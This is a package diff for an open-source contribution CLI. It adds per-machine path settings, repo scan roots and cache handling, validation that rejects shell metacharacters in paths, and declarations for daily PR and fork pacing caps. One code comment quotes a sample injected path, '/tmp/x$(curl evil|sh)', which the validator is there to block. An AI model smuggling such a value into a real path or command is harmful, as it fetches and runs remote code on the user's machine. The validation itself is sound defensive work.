export declare const MACHINE_PATH_KEYS: readonly ["issueListPath", "skippedIssuesPath"];
|
|
21
|
+
export type MachinePathKey = (typeof MACHINE_PATH_KEYS)[number];
|
|
22
|
+
/** The synced values the accessors fall back to (a slice of `state.config`). */
|
|
23
|
+
export type SyncedPaths = Partial<Record<MachinePathKey, string>>;
|
|
24
|
+
/**
|
|
25
|
+
* How a stored path got into the local file: `set` by the user (`setup --set`,
|
|
26
|
+
* `config`), `adopted` from the synced config because it exists on this
|
|
27
|
+
* machine, or found by a `probe` (the `skipped-issues.md` next to the list;
|
|
28
|
+
* an older build also stored current-directory list probes, #1933).
|
|
29
|
+
*/
|
|
30
|
+
export type MachinePathSource = 'set' | 'adopted' | 'probe';
|
|
31
|
+
export type ScanPathsSource = 'set' | 'adopted';
|
|
32
|
+
/**
|
|
33
|
+
* This machine's value for a path setting.
|
|
34
|
+
*
|
|
35
|
+
* The local value wins. With none, the synced value is returned unchanged
|
|
36
|
+
* (callers already handle a path that is not on disk), and it is copied to
|
|
37
|
+
* the local file when it is an absolute path to a regular file here, so a
|
|
38
|
+
* later write from another machine cannot replace it.
|
|
39
|
+
*/
|
|
40
|
+
export declare function getMachinePath(key: MachinePathKey, synced: SyncedPaths): string | undefined;
|
|
41
|
+
/**
|
|
42
|
+
* Where the value {@link getMachinePath} returns comes from: the source
|
|
43
|
+
* recorded with the local value, `synced` when there is no local value and
|
|
44
|
+
* the shared config supplies one, or undefined when nothing is configured.
|
|
45
|
+
*/
|
|
46
|
+
export declare function getMachinePathSource(key: MachinePathKey, synced: SyncedPaths): MachinePathSource | 'synced' | undefined;
|
|
47
|
+
/**
|
|
48
|
+
* Throw when a path setting contains a character a shell still interprets
|
|
49
|
+
* inside double quotes ($ ` " \, a line break or NUL). Checked on every
|
|
50
|
+
* write, CLI and MCP alike.
|
|
51
|
+
*/
|
|
52
|
+
export declare function assertSafeMachinePath(key: string, value: string): void;
|
|
53
|
+
/**
|
|
54
|
+
* Set (or, with `undefined` or an empty string, clear) a path setting for
|
|
55
|
+
* this machine only, recording how the value was obtained. A relative value
|
|
56
|
+
* is stored resolved against the current directory (#1933), so it never
|
|
57
|
+
* depends on where a later command runs. Returns what was stored.
|
|
58
|
+
*
|
|
59
|
+
* @throws ValidationError when the path contains a shell metacharacter.
|
|
60
|
+
*/
|
|
61
|
+
export declare function setMachinePath(key: MachinePathKey, value?: string, source?: MachinePathSource): string;
|
|
62
|
+
/**
|
|
63
|
+
* This machine's repo scan roots (#2010) and how they got there, or undefined
|
|
64
|
+
* to use the defaults.
|
|
65
|
+
*
|
|
66
|
+
* A stored local value wins, even an empty one (`setup --set
|
|
67
|
+
* localRepoScanPaths=`), which means "use the defaults". With none, a synced
|
|
68
|
+
* list is adopted (copied to the local file) only when every entry is an
|
|
69
|
+
* absolute, shell-safe directory here; otherwise it was written for another
|
|
70
|
+
* machine and is ignored.
|
|
71
|
+
*/
|
|
72
|
+
export declare function getMachineScanPaths(synced: string[] | undefined): {
|
|
73
|
+
paths: string[];
|
|
74
|
+
source: ScanPathsSource;
|
|
75
|
+
} | undefined;
|
|
76
|
+
/**
|
|
77
|
+
* Set this machine's scan roots from a comma-separated list. Entries are
|
|
78
|
+
* trimmed, `~/` is expanded and relative entries resolve against the current
|
|
79
|
+
* directory. An empty list clears them, so the defaults apply. Returns what
|
|
80
|
+
* was stored.
|
|
81
|
+
*
|
|
82
|
+
* @throws ValidationError when an entry contains a shell metacharacter.
|
|
83
|
+
*/
|
|
84
|
+
export declare function setMachineScanPaths(value: string): string[];
|
|
85
|
+
/**
|
|
86
|
+
* This machine's local repo cache, or undefined when a scan is needed.
|
|
87
|
+
*
|
|
88
|
+
* Entries whose path is gone are dropped on every read (the file itself is
|
|
89
|
+
* rewritten by the next scan). A synced cache left by an older client is
|
|
90
|
+
* adopted once, minus the entries that are not on this disk, and is ignored
|
|
91
|
+
* when none of its repos are here: it was written by another machine.
|
|
92
|
+
*/
|
|
93
|
+
export declare function getMachineRepoCache(synced: LocalRepoCache | undefined): LocalRepoCache | undefined;
|
|
94
|
+
/** Store a fresh scan for this machine only. */
|
|
95
|
+
export declare function setMachineRepoCache(cache: LocalRepoCache): void;
|
|
@@ -0,0 +1,270 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Per-machine settings (#1950): `~/.oss-autopilot/local-config.json`.
|
|
3
|
+
*
|
|
4
|
+
* The synced state document is shared by every machine through the Gist, so a
|
|
5
|
+
* filesystem path stored there is overwritten by whichever machine wrote
|
|
6
|
+
* last. The curated list path, the skipped-issues path, the local repo scan
|
|
7
|
+
* roots (#2010) and the local repo cache live here instead. Like
|
|
8
|
+
* `machine-id`, the file is outside `state.json`, so no sync path ever
|
|
9
|
+
* carries it.
|
|
10
|
+
*
|
|
11
|
+
* Transition: the synced keys (`config.issueListPath`,
|
|
12
|
+
* `config.skippedIssuesPath`, `config.localRepoScanPaths`, `localRepoCache`)
|
|
13
|
+
* stay in the schema and are still read as a fallback, so a machine that has
|
|
14
|
+
* not set a local value behaves as before. New clients write path settings here only; a synced
|
|
15
|
+
* value is copied here the first time it is read and found on this machine's
|
|
16
|
+
* disk, and is never adopted when it is not.
|
|
17
|
+
*/
|
|
18
|
+
import * as fs from 'node:fs';
|
|
19
|
+
import * as os from 'node:os';
|
|
20
|
+
import path from 'node:path';
|
|
21
|
+
import { z } from 'zod';
|
|
22
|
+
import { getLocalConfigPath } from './paths.js';
|
|
23
|
+
import { atomicWriteFileSync } from './state-persistence.js';
|
|
24
|
+
import { preserveRejected } from './stale-data.js';
|
|
25
|
+
import { LocalRepoCacheSchema } from './state-schema.js';
|
|
26
|
+
import { errorMessage, ValidationError } from './errors.js';
|
|
27
|
+
import { warn } from './logger.js';
|
|
28
|
+
const MODULE = 'local-config';
|
|
29
|
+
/** Config keys whose value is a filesystem path on one machine. */
|
|
30
|
+
export const MACHINE_PATH_KEYS = ['issueListPath', 'skippedIssuesPath'];
|
|
31
|
+
// An empty `path` records "cleared on this machine", so the synced value does
|
|
32
|
+
// not come back after `setup --set issueListPath=`. A bare string is the
|
|
33
|
+
// shape written before the source was recorded; it loads as `set`.
|
|
34
|
+
const StoredPathSchema = z.union([
|
|
35
|
+
z.string(),
|
|
36
|
+
z.object({ path: z.string(), source: z.enum(['set', 'adopted', 'probe']) }),
|
|
37
|
+
]);
|
|
38
|
+
// A bare array is a hand edit; it loads as `set`. A malformed value only
|
|
39
|
+
// drops this key (with a warning), not the whole file.
|
|
40
|
+
const ScanPathsShape = z.object({ paths: z.array(z.string()), source: z.enum(['set', 'adopted']) });
|
|
41
|
+
const StoredScanPathsSchema = z
|
|
42
|
+
.union([z.array(z.string()), ScanPathsShape])
|
|
43
|
+
.optional()
|
|
44
|
+
.catch((ctx) => {
|
|
45
|
+
const problems = ctx.issues.map((issue) => issue.message).join('; ');
|
|
46
|
+
warn(MODULE, `Ignoring malformed localRepoScanPaths in local-config.json (${problems})`);
|
|
47
|
+
});
|
|
48
|
+
const LocalConfigSchema = z.looseObject({
|
|
49
|
+
issueListPath: StoredPathSchema.optional(),
|
|
50
|
+
skippedIssuesPath: StoredPathSchema.optional(),
|
|
51
|
+
localRepoScanPaths: StoredScanPathsSchema,
|
|
52
|
+
localRepoCache: LocalRepoCacheSchema.optional(),
|
|
53
|
+
});
|
|
54
|
+
/**
|
|
55
|
+
* Move a file that cannot be parsed out of the way, so the next write does
|
|
56
|
+
* not overwrite what the user had. Returns a note for the warning.
|
|
57
|
+
*/
|
|
58
|
+
function setAsideUnreadable(filePath) {
|
|
59
|
+
try {
|
|
60
|
+
return `kept as ${preserveRejected(filePath, 'move')}`;
|
|
61
|
+
}
|
|
62
|
+
catch (err) {
|
|
63
|
+
return `could not be set aside (${errorMessage(err)})`;
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
/** The stored file, or `{}` when it is missing or unreadable (with a warning). */
|
|
67
|
+
function readLocalConfig() {
|
|
68
|
+
const filePath = getLocalConfigPath();
|
|
69
|
+
if (!fs.existsSync(filePath))
|
|
70
|
+
return {};
|
|
71
|
+
try {
|
|
72
|
+
return LocalConfigSchema.parse(JSON.parse(fs.readFileSync(filePath, 'utf8')));
|
|
73
|
+
}
|
|
74
|
+
catch (err) {
|
|
75
|
+
warn(MODULE, `Ignoring unreadable ${filePath} (${errorMessage(err)}); it ${setAsideUnreadable(filePath)}`);
|
|
76
|
+
return {};
|
|
77
|
+
}
|
|
78
|
+
}
|
|
79
|
+
/** The stored entry for a key in its current shape, or undefined when none is stored. */
|
|
80
|
+
function readStoredPath(key) {
|
|
81
|
+
const stored = readLocalConfig()[key];
|
|
82
|
+
return typeof stored === 'string' ? { path: stored, source: 'set' } : stored;
|
|
83
|
+
}
|
|
84
|
+
// ponytail: read-modify-write with no lock. Two processes setting different
|
|
85
|
+
// keys at once can lose one write; the next detection or `setup --set`
|
|
86
|
+
// rewrites it. Take the state lock here if that ever shows up.
|
|
87
|
+
function updateLocalConfig(patch) {
|
|
88
|
+
const next = { ...readLocalConfig(), ...patch };
|
|
89
|
+
atomicWriteFileSync(getLocalConfigPath(), `${JSON.stringify(next, null, 2)}\n`, 0o600);
|
|
90
|
+
}
|
|
91
|
+
/** Best-effort copy of a synced value into the local file; the caller still has the value. */
|
|
92
|
+
function adopt(patch) {
|
|
93
|
+
try {
|
|
94
|
+
updateLocalConfig(patch);
|
|
95
|
+
}
|
|
96
|
+
catch (err) {
|
|
97
|
+
warn(MODULE, `Could not save machine-local settings: ${errorMessage(err)}`);
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
/** True for an absolute path to a regular file on this machine's disk. */
|
|
101
|
+
function isFileHere(candidate) {
|
|
102
|
+
return path.isAbsolute(candidate) && fs.statSync(candidate, { throwIfNoEntry: false })?.isFile() === true;
|
|
103
|
+
}
|
|
104
|
+
/**
|
|
105
|
+
* This machine's value for a path setting.
|
|
106
|
+
*
|
|
107
|
+
* The local value wins. With none, the synced value is returned unchanged
|
|
108
|
+
* (callers already handle a path that is not on disk), and it is copied to
|
|
109
|
+
* the local file when it is an absolute path to a regular file here, so a
|
|
110
|
+
* later write from another machine cannot replace it.
|
|
111
|
+
*/
|
|
112
|
+
export function getMachinePath(key, synced) {
|
|
113
|
+
const local = readStoredPath(key);
|
|
114
|
+
if (local)
|
|
115
|
+
return local.path || undefined;
|
|
116
|
+
const syncedValue = synced[key];
|
|
117
|
+
// A synced value with a shell metacharacter (written by an older client) is
|
|
118
|
+
// never adopted into the local file.
|
|
119
|
+
if (syncedValue && isFileHere(syncedValue) && !SHELL_UNSAFE_PATH.test(syncedValue)) {
|
|
120
|
+
adopt({ [key]: { path: syncedValue, source: 'adopted' } });
|
|
121
|
+
}
|
|
122
|
+
return syncedValue;
|
|
123
|
+
}
|
|
124
|
+
/**
|
|
125
|
+
* Where the value {@link getMachinePath} returns comes from: the source
|
|
126
|
+
* recorded with the local value, `synced` when there is no local value and
|
|
127
|
+
* the shared config supplies one, or undefined when nothing is configured.
|
|
128
|
+
*/
|
|
129
|
+
export function getMachinePathSource(key, synced) {
|
|
130
|
+
const local = readStoredPath(key);
|
|
131
|
+
if (local)
|
|
132
|
+
return local.source;
|
|
133
|
+
const syncedValue = synced[key];
|
|
134
|
+
return syncedValue ? 'synced' : undefined;
|
|
135
|
+
}
|
|
136
|
+
// The characters still active inside a double-quoted shell word: $ ` " \
|
|
137
|
+
// and line breaks. No workflow interpolates a stored path any more; this
|
|
138
|
+
// keeps a validated path safe inside double quotes regardless, so a value
|
|
139
|
+
// like `/tmp/x$(curl evil|sh)` written over MCP cannot run. ' & ; | < > are
|
|
140
|
+
// allowed: real paths use them ("John's Vault", "Notes & Docs").
|
|
141
|
+
const SHELL_UNSAFE_PATH = /[$`"\\\n\r]/;
|
|
142
|
+
/**
|
|
143
|
+
* Throw when a path setting contains a character a shell still interprets
|
|
144
|
+
* inside double quotes ($ ` " \, a line break or NUL). Checked on every
|
|
145
|
+
* write, CLI and MCP alike.
|
|
146
|
+
*/
|
|
147
|
+
export function assertSafeMachinePath(key, value) {
|
|
148
|
+
if (SHELL_UNSAFE_PATH.test(value) || value.includes('\0')) {
|
|
149
|
+
throw new ValidationError(`Invalid value for ${key}: a path may not contain $ \` " \\, a line break or NUL.`);
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
/**
|
|
153
|
+
* Set (or, with `undefined` or an empty string, clear) a path setting for
|
|
154
|
+
* this machine only, recording how the value was obtained. A relative value
|
|
155
|
+
* is stored resolved against the current directory (#1933), so it never
|
|
156
|
+
* depends on where a later command runs. Returns what was stored.
|
|
157
|
+
*
|
|
158
|
+
* @throws ValidationError when the path contains a shell metacharacter.
|
|
159
|
+
*/
|
|
160
|
+
export function setMachinePath(key, value = '', source = 'set') {
|
|
161
|
+
assertSafeMachinePath(key, value);
|
|
162
|
+
const stored = value && path.resolve(value);
|
|
163
|
+
updateLocalConfig({ [key]: { path: stored, source } });
|
|
164
|
+
return stored;
|
|
165
|
+
}
|
|
166
|
+
/** `~/x` with the home directory expanded; anything else unchanged. */
|
|
167
|
+
function expandHome(entry) {
|
|
168
|
+
return entry === '~' || entry.startsWith('~/') ? path.join(os.homedir(), entry.slice(1)) : entry;
|
|
169
|
+
}
|
|
170
|
+
/** True for an absolute, shell-safe path to a directory on this machine's disk. */
|
|
171
|
+
function isSafeDirHere(candidate) {
|
|
172
|
+
return (path.isAbsolute(candidate) &&
|
|
173
|
+
!SHELL_UNSAFE_PATH.test(candidate) &&
|
|
174
|
+
!candidate.includes('\0') &&
|
|
175
|
+
fs.statSync(candidate, { throwIfNoEntry: false })?.isDirectory() === true);
|
|
176
|
+
}
|
|
177
|
+
/**
|
|
178
|
+
* The stored local entries as scan roots: `~/` expanded, relative or unsafe
|
|
179
|
+
* entries skipped (a hand edit cannot depend on the current directory), and
|
|
180
|
+
* a warning for an entry that is not on disk (the scan skips it).
|
|
181
|
+
*/
|
|
182
|
+
function usableScanPaths(entries) {
|
|
183
|
+
const usable = [];
|
|
184
|
+
for (const raw of entries) {
|
|
185
|
+
const entry = expandHome(raw);
|
|
186
|
+
if (!path.isAbsolute(entry) || SHELL_UNSAFE_PATH.test(entry) || entry.includes('\0')) {
|
|
187
|
+
warn(MODULE, `Skipping localRepoScanPaths entry "${raw}": not an absolute, shell-safe path`);
|
|
188
|
+
continue;
|
|
189
|
+
}
|
|
190
|
+
if (!fs.existsSync(entry))
|
|
191
|
+
warn(MODULE, `localRepoScanPaths entry ${entry} does not exist on this machine`);
|
|
192
|
+
usable.push(entry);
|
|
193
|
+
}
|
|
194
|
+
return usable;
|
|
195
|
+
}
|
|
196
|
+
/**
|
|
197
|
+
* This machine's repo scan roots (#2010) and how they got there, or undefined
|
|
198
|
+
* to use the defaults.
|
|
199
|
+
*
|
|
200
|
+
* A stored local value wins, even an empty one (`setup --set
|
|
201
|
+
* localRepoScanPaths=`), which means "use the defaults". With none, a synced
|
|
202
|
+
* list is adopted (copied to the local file) only when every entry is an
|
|
203
|
+
* absolute, shell-safe directory here; otherwise it was written for another
|
|
204
|
+
* machine and is ignored.
|
|
205
|
+
*/
|
|
206
|
+
export function getMachineScanPaths(synced) {
|
|
207
|
+
const stored = readLocalConfig().localRepoScanPaths;
|
|
208
|
+
if (stored) {
|
|
209
|
+
const local = Array.isArray(stored) ? { paths: stored, source: 'set' } : stored;
|
|
210
|
+
const paths = usableScanPaths(local.paths);
|
|
211
|
+
return paths.length > 0 ? { paths, source: local.source } : undefined;
|
|
212
|
+
}
|
|
213
|
+
if (!synced?.length || synced.some((entry) => !isSafeDirHere(entry)))
|
|
214
|
+
return undefined;
|
|
215
|
+
adopt({ localRepoScanPaths: { paths: synced, source: 'adopted' } });
|
|
216
|
+
return { paths: synced, source: 'adopted' };
|
|
217
|
+
}
|
|
218
|
+
/**
|
|
219
|
+
* Set this machine's scan roots from a comma-separated list. Entries are
|
|
220
|
+
* trimmed, `~/` is expanded and relative entries resolve against the current
|
|
221
|
+
* directory. An empty list clears them, so the defaults apply. Returns what
|
|
222
|
+
* was stored.
|
|
223
|
+
*
|
|
224
|
+
* @throws ValidationError when an entry contains a shell metacharacter.
|
|
225
|
+
*/
|
|
226
|
+
export function setMachineScanPaths(value) {
|
|
227
|
+
const paths = value
|
|
228
|
+
.split(',')
|
|
229
|
+
.map((entry) => entry.trim())
|
|
230
|
+
.filter(Boolean)
|
|
231
|
+
.map((entry) => {
|
|
232
|
+
assertSafeMachinePath('localRepoScanPaths', entry);
|
|
233
|
+
return path.resolve(expandHome(entry));
|
|
234
|
+
});
|
|
235
|
+
updateLocalConfig({ localRepoScanPaths: { paths, source: 'set' } });
|
|
236
|
+
return paths;
|
|
237
|
+
}
|
|
238
|
+
/** The cache with only the repos whose checkout is on this machine's disk. */
|
|
239
|
+
function withExistingRepos(cache) {
|
|
240
|
+
const repos = {};
|
|
241
|
+
for (const [name, info] of Object.entries(cache.repos)) {
|
|
242
|
+
if (fs.existsSync(info.path))
|
|
243
|
+
repos[name] = info;
|
|
244
|
+
}
|
|
245
|
+
return { ...cache, repos };
|
|
246
|
+
}
|
|
247
|
+
/**
|
|
248
|
+
* This machine's local repo cache, or undefined when a scan is needed.
|
|
249
|
+
*
|
|
250
|
+
* Entries whose path is gone are dropped on every read (the file itself is
|
|
251
|
+
* rewritten by the next scan). A synced cache left by an older client is
|
|
252
|
+
* adopted once, minus the entries that are not on this disk, and is ignored
|
|
253
|
+
* when none of its repos are here: it was written by another machine.
|
|
254
|
+
*/
|
|
255
|
+
export function getMachineRepoCache(synced) {
|
|
256
|
+
const local = readLocalConfig().localRepoCache;
|
|
257
|
+
if (local)
|
|
258
|
+
return withExistingRepos(local);
|
|
259
|
+
if (!synced)
|
|
260
|
+
return undefined;
|
|
261
|
+
const here = withExistingRepos(synced);
|
|
262
|
+
if (Object.keys(synced.repos).length > 0 && Object.keys(here.repos).length === 0)
|
|
263
|
+
return undefined;
|
|
264
|
+
adopt({ localRepoCache: here });
|
|
265
|
+
return here;
|
|
266
|
+
}
|
|
267
|
+
/** Store a fresh scan for this machine only. */
|
|
268
|
+
export function setMachineRepoCache(cache) {
|
|
269
|
+
updateLocalConfig({ localRepoCache: cache });
|
|
270
|
+
}
|
|
@@ -49,8 +49,8 @@ export interface MergedPRNotes {
|
|
|
49
49
|
/**
|
|
50
50
|
* Heuristic: every note reads as thanks or praise (keyword, no question,
|
|
51
51
|
* short, no change-related wording) and nobody pushed on top. The workflow
|
|
52
|
-
* confirms this
|
|
53
|
-
*
|
|
52
|
+
* confirms this against the live thread before acting on it; see
|
|
53
|
+
* {@link groupThanksOnlyAcknowledgments}.
|
|
54
54
|
*/
|
|
55
55
|
thanksOnly: boolean;
|
|
56
56
|
/**
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Optional pacing caps (#1911): at most `maxNewPrsPerDay` new PRs and
|
|
3
|
+
* `maxNewForksPerDay` new forks in any rolling 24 hours. Both are unset by
|
|
4
|
+
* default, and nothing here runs then.
|
|
5
|
+
*
|
|
6
|
+
* Counts come from local state only, never a GitHub search:
|
|
7
|
+
* - PRs: those the tool recorded when it opened them (`recentNewPRs`,
|
|
8
|
+
* written by `work release --pr`), plus the open PRs of the last digest
|
|
9
|
+
* (`createdAt`) and the merged and closed PRs the digest and the outcome
|
|
10
|
+
* ledger record (`openedAt`), once per URL. A PR opened outside the tool
|
|
11
|
+
* counts once a `daily` run has seen it.
|
|
12
|
+
* - Forks: state records no fork creation. A fork is made for the first PR
|
|
13
|
+
* into a repo, so a counted PR that is the earliest known PR in its repo
|
|
14
|
+
* counts as one new fork. This is a soft limit: a fork made without a PR
|
|
15
|
+
* is not seen, and the first PR into a repo forked long ago counts.
|
|
16
|
+
* PRs to the user's own repos never count.
|
|
17
|
+
*/
|
|
18
|
+
import type { AgentState } from './state-schema.js';
|
|
19
|
+
export declare const PACING_WINDOW_MS: number;
|
|
20
|
+
export interface PacingCount {
|
|
21
|
+
cap: number;
|
|
22
|
+
/** New PRs (or forks) in the 24 hours ending now. */
|
|
23
|
+
count: number;
|
|
24
|
+
atCap: boolean;
|
|
25
|
+
/** When the count drops below the cap again; null when it is below the cap now. */
|
|
26
|
+
freesAt: string | null;
|
|
27
|
+
}
|
|
28
|
+
export interface PacingStatus {
|
|
29
|
+
/** Present when `maxNewPrsPerDay` is set above 0. */
|
|
30
|
+
prs?: PacingCount;
|
|
31
|
+
/** Present when `maxNewForksPerDay` is set above 0. */
|
|
32
|
+
forks?: PacingCount;
|
|
33
|
+
/** When the digest the counts come from was made; null before the first `daily` run. */
|
|
34
|
+
countedAt: string | null;
|
|
35
|
+
}
|
|
36
|
+
/** ISO time of an epoch-ms value. */
|
|
37
|
+
export declare function isoAt(ms: number): string;
|
|
38
|
+
/** The pacing caps that are set, with their counts; null when neither is set. */
|
|
39
|
+
export declare function getPacingStatus(state: Readonly<AgentState>, nowMs?: number): PacingStatus | null;
|
|
40
|
+
/** One line per set cap, e.g. `3/5 new PRs in the last 24h`; empty when no cap is set. */
|
|
41
|
+
export declare function pacingLines(pacing: PacingStatus | null): string[];
|